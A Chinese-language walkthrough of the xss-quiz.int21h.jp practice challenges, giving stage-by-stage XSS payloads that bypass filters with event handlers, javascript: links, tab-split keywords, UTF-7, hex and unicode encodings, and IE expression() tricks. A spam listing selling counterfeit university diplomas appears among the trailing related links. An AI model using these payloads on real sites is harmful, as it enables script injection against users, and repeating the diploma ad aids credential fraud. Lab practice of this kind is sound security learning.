XSS Challenges xss-quiz.int21h.jp
概述:
https://xss-quiz.int21h.jp/

Stage #1
payload: <script>alert(document.domain);</script>

Stage #2
http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70
尝试: <script>alert(document.domain);</script> 未果
input 没有闭合

payload: "><svg onload=alert(document.domain)>

Stage #3
http://xss-quiz.int21h.jp/stage-3.php?sid=d362dd49b96c30f3e9a4a6ea0abafb0cef59ed2d
备注:这里因为都是post请求,p1 变量是不存在跨站的,p2变量才存在问题,因此需要抓包
;javascript:alert(document.domain);//

p2=<script>alert(document.domain);</script>


Stage #4
http://xss-quiz.int21h.jp/stage_4.php?sid=d47663090ecc0b8d55ae73ee3753ead52c63103e
p3 为隐藏的属性,使用inspector删除掉text=hidden
payload:"><svg onload=alert(document.domain)>;


Stage #5
http://xss-quiz.int21h.jp/stage–5.php?sid=e9dd07b6e86c5314a2e574e887faa9482de330bf
通过尝试发现,闭合即可
<input type="text" name="p1" maxlength="15" size="30" value="hack404">
但是由于前端对字符数量做了限制,因此抓包修改绕过


Stage #6
http://xss-quiz.int21h.jp/stage-no6.php?sid=b76ebfa651652f2c22f8ddbe264941287667706c
问题点:对< > 做了转移,利用事件进行绕过
<input type="text" name="p1" size="50" value="" onmouseover=alert(document.domain);//">
payload:
" onmouseover=alert(document.domain);//
123" onmouseover="alert(document.domain);
<input type="text" name="p1" size="50" value="123" onmouseover="alert(document.domain);">

Stage #7
http://xss-quiz.int21h.jp/stage07.php?sid=f433ab35e367d5a94100aa4e0f694c3e63d67105
<input type="text" name="p1" size="50" value=<script>alert(document.domain);</script>>
<input type="text" name="p1" size="50" value=;onmouseover=alert(document.domain);//>
对< > " ' 都已近做了转义
payload: view plaincopyprint onmousemove=alert(document.domain)

Stage #8
http://xss-quiz.int21h.jp/stage008.php?sid=4301b185b563c91208e0af232d7f016885e863e0
a 标签,插入,点击即可触发
<a href="javascript:alert(document.domain);">javascript:alert(document.domain);</a>

Stage #9
http://xss-quiz.int21h.jp/stage_09.php?sid=558484a712d793c446e3dc409601eaf126e73d25
此问题,目前的浏览器已经不支持,因为它依赖于对UTF-7的支持
Solution:+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg-&charset=euc-jp
Stage #10
http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276
<input type="text" name="p1" size="50" value=""><svg onload=alert(document.)>">
看来是长字符限制了,我们尝试短的字符数尝试下

payload: " onmouseover=alert(document.domdomainain); x="
<input type="text" name="p1" size="50" value="" onmouseover=alert(document.domain); x="">

Stage #11
http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3
这里主要是针对关键字,进行了混淆
"><a href="javascript:alert(document.domain);">hack404</a>
<input type="text" name="p1" size="50" value=""><a href="javaxscript:alert(document.domain);">hack404</a>">
这里我们使用特殊字符进行绕过:
%09 Horizontal tab
"><a href="javascr	ipt:alert(document.domain);">hack404</a>
<a href="javascr	ipt:alert(document.domain);">hack404</a>">

Stage #12
http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
Passed with IE
Stage12: http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
Solution: "onmouseover=alert(document.domain);
Stage #13
http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad
Passed with IE
Stage13: http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad
Solution: xss:expression(alert(document.domain));"
Stage #14
http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8
Passed with IE
Stage14: http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8
Solution: xss:expre/**/ssion(alert(document.domain));"
Stage #15
http://xss-quiz.int21h.jp/stage__15.php?sid=26ac2a0522c04a788c217fd8d7847aab1626f726
hex encode :
< >
\x3c \x3e

payload:
\x3cscript\x3ealert(document.domain);\x3c/script\x3e

Stage #16
http://xss-quiz.int21h.jp/stage00000016.php?sid=67973758e07ac879612c31437a2e1fb283b760e7
unicode encoding < >
https://www.branah.com/unicode-converter
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Stage #17
http://xss-quiz.int21h.jp/stage-No17.php?sid=53342e06720dc7d4fa4224eb3c13bf966d823056
存在于老版本的IE
Stage #18
http://xss-quiz.int21h.jp/stage__No18.php?sid=170f1d30f88cf627174033ec5b73578276b94fc3
存在于老版本的IE
Stage #19
http://xss-quiz.int21h.jp/stage_–19.php?sid=787870a01e603b0c0d0d6c464c0595883e2c10ce
访问404了。。
参考:
https://blogs.tunelko.com/2013/12/02/xss-challenges/
https://github.com/matachi/MaTachi.github.io/blob/master/src/pages/solutions-to-the-wargame-xss-challenges-at-xss-quiz-int21h-jp.md
XSS Challenges xss-quiz.int21h.jp的更多相关文章
- XSS练习平台-XSS Challenges
XSS Challenges http://xss-quiz.int21h.jp/ XSS基础不好的建议优先查看 关于XSS中使用到的html编码 js编码各种场景用法 http://su.xmd ...
- XSS Challenges 练习(1-10)
这几天对XSS Challenges平台进行了练习,网上也有一些相应的解答博客,但是写得都差不多,我觉得可以试一下从怎么做这种题的角度出发去思考问题. 第一题:http://xss-quiz.int2 ...
- XSS Challenges学习笔记 Stage#1~ Stage#19
开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直 ...
- XSS Challenges闯关笔记
前言 做xss做疯了再来一个. 地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的. 做到第九关就跪了,而总共有二十关.一半都还没有 ...
- XSS Challenges练习及解答
一个偶然的机会在知道创宇的技能表里看到了一个练习XSS的网站http://xss-quiz.int21h.jp,正好想研究这个,于是试着做了一下. 第一.二题是最简单的,直接在搜索框中输入以下代码就成 ...
- xss challenges平台学习
虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xs ...
- XSS Challenges(1-12关)
XSS Challenges解析: 1. 什么过滤也没有,而且是直接输出.<scrip>alert(document.domain);</script>即可通过 2. 直接输入 ...
- 信息安全-攻击-XSS:XSS/CSS 攻击
ylbtech-信息安全-攻击-XSS:XSS/CSS 攻击 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.这些恶意 ...
- XSS Challenges
平台: http://www.zixem.altervista.org/XSS/ level1: Payload: http://www.zixem.altervista.org/XSS/1.php? ...
随机推荐
- 【转】tomcat logs 目录下各日志文件的含义
tomcat每次启动时,自动在logs目录下生产以下日志文件,按照日期自动备份 localhost.2016-07-05.txt //经常用到的文件之一 ,程序异常没有被捕获的时候抛出的地方 ...
- 出现“Unable to resolve target 'android-XXX'”怎么处理?
这句话的中文意思就是说安卓API版本没有能适配22的,需要将sdk更新一下,必要的话,adt都要跟着更新,但就我尝试来看,还是要先更新adt,然后您或许发现,这个表单好不容易刷出来,但是没有我们想要的 ...
- MIT KIT OpenID Connect Demo Client
Hello world! You are NOT currently logged in. This example application is configured with several pa ...
- TCP入门与实例讲解
内容简介 TCP是TCP/IP协议栈的核心组成之一,对开发者来说,学习.掌握TCP非常重要. 本文主要内容包括:什么是TCP,为什么要学习TCP,TCP协议格式,通过实例讲解TCP的生命周期(建立连接 ...
- border-radius 详解及示例
border-radius [ˈbɔrdə(r)] - [ˈrediəs] 英文示意: border:边界,国界,边疆 radius:半径,范围 定义: 复合写法: border-radius ...
- javascript项目实战之原生js模拟淘宝购物车
通过JavaScript实现类似与淘宝的购物车效果,包括商品的单选.全选.删除.修改数量.价格计算.数目计算.预览等功能的实现.实现的效果图: 相应的代码: shoppingCart.html < ...
- MD5加密算法(java及js)
为了防止用户登陆过程中信息被拦截导致信息泄露,我们应该在客户端就对用户密码进行加密.浏览器提交给服务器的是加密后的信息,即使被恶意拦截,被拦截信息也已做了加密处理,现在比较安全的一种加密算法是MD5加 ...
- css3绘制三角形
将div的宽和高设置为0:利用border-width.border-style.border-color属性绘制不同位置边框的样式.将不需要展示的三角颜色填充为transparent透明即可,就能得 ...
- 【prufer编码】BZOJ1211 [HNOI2004]树的计数
Description 给定一棵树每个节点度的限制为di,求有多少符合限制不同的树. Solution 发现prufer码和度数必然的联系 prufer码一个点出现次数为它的度数-1 我们依然可以把树 ...
- 【英国毕业原版】-《伯明翰城市大学毕业证书》BCU一模一样原件
☞伯明翰城市大学毕业证书[微/Q:865121257◆WeChat:CC6669834]UC毕业证书/联系人Alice[查看点击百度快照查看][留信网学历认证&博士&硕士&海归 ...